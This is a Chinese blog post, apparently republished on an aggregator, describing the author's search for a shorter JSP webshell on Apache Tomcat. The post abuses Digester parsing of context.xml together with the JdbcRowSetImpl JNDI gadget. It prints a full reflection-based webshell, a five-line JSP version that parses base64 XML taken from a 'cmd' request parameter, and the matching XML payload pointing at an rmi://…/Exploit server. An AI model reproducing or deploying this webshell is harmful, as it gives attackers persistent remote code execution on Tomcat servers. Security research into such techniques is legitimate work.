IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> Java知识库 -> jsp新webshell的探索之旅 -> 正文阅读

[Java知识库]jsp新webshell的探索之旅

jsp新webshell的探索之旅

题外话

最近更新了新的博客关于本人一些有趣的java的研究会优先更新到新博客(http://y4tacker.github.io/)

简介

这篇文章记录了我从一个小发现到实现RCE,为了实现更短的webshell,在这之间遇到了一些的新问题到解决,再到最终精简得到一个新的jsp五行Payload构成的webshell的过程

发现

在tomcat的扫描中都有对一些配置文件的扫描以及对里面的属性解析赋值的过程,由于之前的一些小发现(这里不多说),今天下午一个突如其来的crush在我心中出现,我去跟踪了一下解析context.xml的过程

org.apache.catalina.startup.ContextConfig#contextConfig中,从这里可以看到defaultContextXml要么从标准上下文,要么则是默认值conf/context.xml

在这里插入图片描述

接下来在解析阶段,在其中的org.apache.tomcat.util.digester.Digester#startElement引起了我的注意

在这里插入图片描述

这里如果匹配到标签ContextManager则会去调用org.apache.tomcat.util.digester.SetPropertiesRule#begin,而这个函数中取出属性赋值的地方如下

在这里插入图片描述

之后通过调用setProperty方法,去调用属性的set方法,具体如下(部分截图)

在这里插入图片描述

到了这里一个思路就涌现在我脑中,还记得fastJson的第一个payload吗

{
	"@type":"com.sun.rowset.JdbcRowSetImpl",
	"dataSourceName":"ldap://vps/TouchFile", 
	"autoCommit":true
}

这不就是都是set的过程

之后我在contenx.xml中加上

<Manager className="com.sun.rowset.JdbcRowSetImpl"
			   dataSourceName="rmi://127.0.0.1/Exploit"
         autoCommit="true"></Manager>

再次启动tomcat,成功弹出了计算器

在这里插入图片描述

新的问题

可是这个利用链过程是在tomcat启动的过程啊,要想彻底解决我们还得去看看它是通过什么函数进行解析,以及我们是否能控制呢

org.apache.catalina.startup.ContextConfig#init中,我们看看关键的步骤

    protected void init() {
        Digester contextDigester = createContextDigester();
        contextDigester.getParser();
----------------
        contextConfig(contextDigester);

    }

可以看到函数contextConfig中传入一个contextDigester对象,这个对象我们也很好得到,虽然这是一个protected修饰的函数,但是里面的过程却都是public修饰的,因此我们直接复制出来即可

在这里插入图片描述

继续跟进执行在org.apache.catalina.startup.ContextConfig#contextConfig,最开始我们便提到了要么从标准上下文,要么则是默认值conf/context.xml,那么为了扩展攻击面利用我们肯定选择前者

在这里插入图片描述

流程实现构造Webshell

因此,我们再梳理一下上面的利用流程

1.实例化ContextConfig

2.获取StandardContext,添加到ContextConfig的context

3.初始化Digester对象

4.调用ContextConfig的contextConfig函数执行利用过程

当然这里需要加个写文件的函数,我太懒惰了

<%@ page import="org.apache.catalina.startup.ContextConfig" %>
<%@ page import="org.apache.tomcat.util.digester.Digester" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="org.apache.tomcat.util.digester.RuleSet" %>
<%@ page import="org.apache.catalina.startup.ContextRuleSet" %>
<%@ page import="org.apache.catalina.startup.NamingRuleSet" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.lang.reflect.Field" %>
<%
    ContextConfig ctConfig = new ContextConfig();

    //获取StandardContext
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext stcontext = (StandardContext) req.getContext();
    stcontext.setDefaultContextXml("/tmp/context.xml");
    Field context = ContextConfig.class.getDeclaredField("context");
    context.setAccessible(true);
    context.set(ctConfig,stcontext);

    //实例化Digester对象
    Digester digester = new Digester();
    digester.setValidating(false);
    digester.setRulesValidation(true);
    HashMap<Class<?>, List<String>> fakeAttributes = new HashMap<>();
    ArrayList<String> attrs = new ArrayList<>();
    attrs.add("className");
    fakeAttributes.put(Object.class, attrs);
    digester.setFakeAttributes(fakeAttributes);
    RuleSet contextRuleSet = new ContextRuleSet("", false);
    digester.addRuleSet(contextRuleSet);
    RuleSet namingRuleSet = new NamingRuleSet("Context/");
    digester.addRuleSet(namingRuleSet);
    digester.getParser();


    //调用contextConfig函数执行利用过程
    Method contextConfig = ContextConfig.class.getDeclaredMethod("contextConfig", Digester.class);
    contextConfig.setAccessible(true);
    contextConfig.invoke(ctConfig,digester);

%>

在浏览器直接访问,成功弹出

在这里插入图片描述

深入思考

难道这就够了吗,看着这串又臭又长的webshell我一点都不满足,我想让这个webshell更短一点,那么为了实现这一步那就得跟深入的对利用流程进行跟踪

我们可以发现在org.apache.catalina.startup.ContextConfig#contextConfig,在调用processContextConfig的时候

在这里插入图片描述

可以看到在实际上主要的步骤还是在对Digester对象继续的添加加载器等操作以及最终调用parse函数,在其中唯一多出来的部分就是这个InputSource

那么去掉一些无关的操作最终得到,当然这部分就是自己寻找的过程就没必要写进来了

<%
    org.apache.tomcat.util.digester.Digester digester = new org.apache.tomcat.util.digester.Digester();
    digester.addRuleSet(new org.apache.catalina.startup.ContextRuleSet("", false));
    org.xml.sax.InputSource inputSource = new org.xml.sax.InputSource();
    inputSource.setByteStream(new java.io.ByteArrayInputStream(java.util.Base64.getDecoder().decode(request.getParameter("cmd"))));
    digester.parse(inputSource);
%>

测试执行成功

在这里插入图片描述

其中cmd解码内容为

<?xml version='1.0' encoding='utf-8'?>
<Context>

    <Manager className="com.sun.rowset.JdbcRowSetImpl"
             dataSourceName="rmi://127.0.0.1/Exploit"
             autoCommit="true"></Manager>

</Context>

当然还有个关键的就是不要忘了启动一个恶意jndi服务

  Java知识库 最新文章
计算距离春节还有多长时间
系统开发系列 之WebService(spring框架+ma
springBoot+Cache(自定义有效时间配置)
SpringBoot整合mybatis实现增删改查、分页查
spring教程
SpringBoot+Vue实现美食交流网站的设计与实
虚拟机内存结构以及虚拟机中销毁和新建对象
SpringMVC---原理
小李同学: Java如何按多个字段分组
打印票据--java
上一篇文章      下一篇文章      查看所有文章
加:2022-02-07 13:35:18  更:2022-02-07 13:35:22 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 12:03:42-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码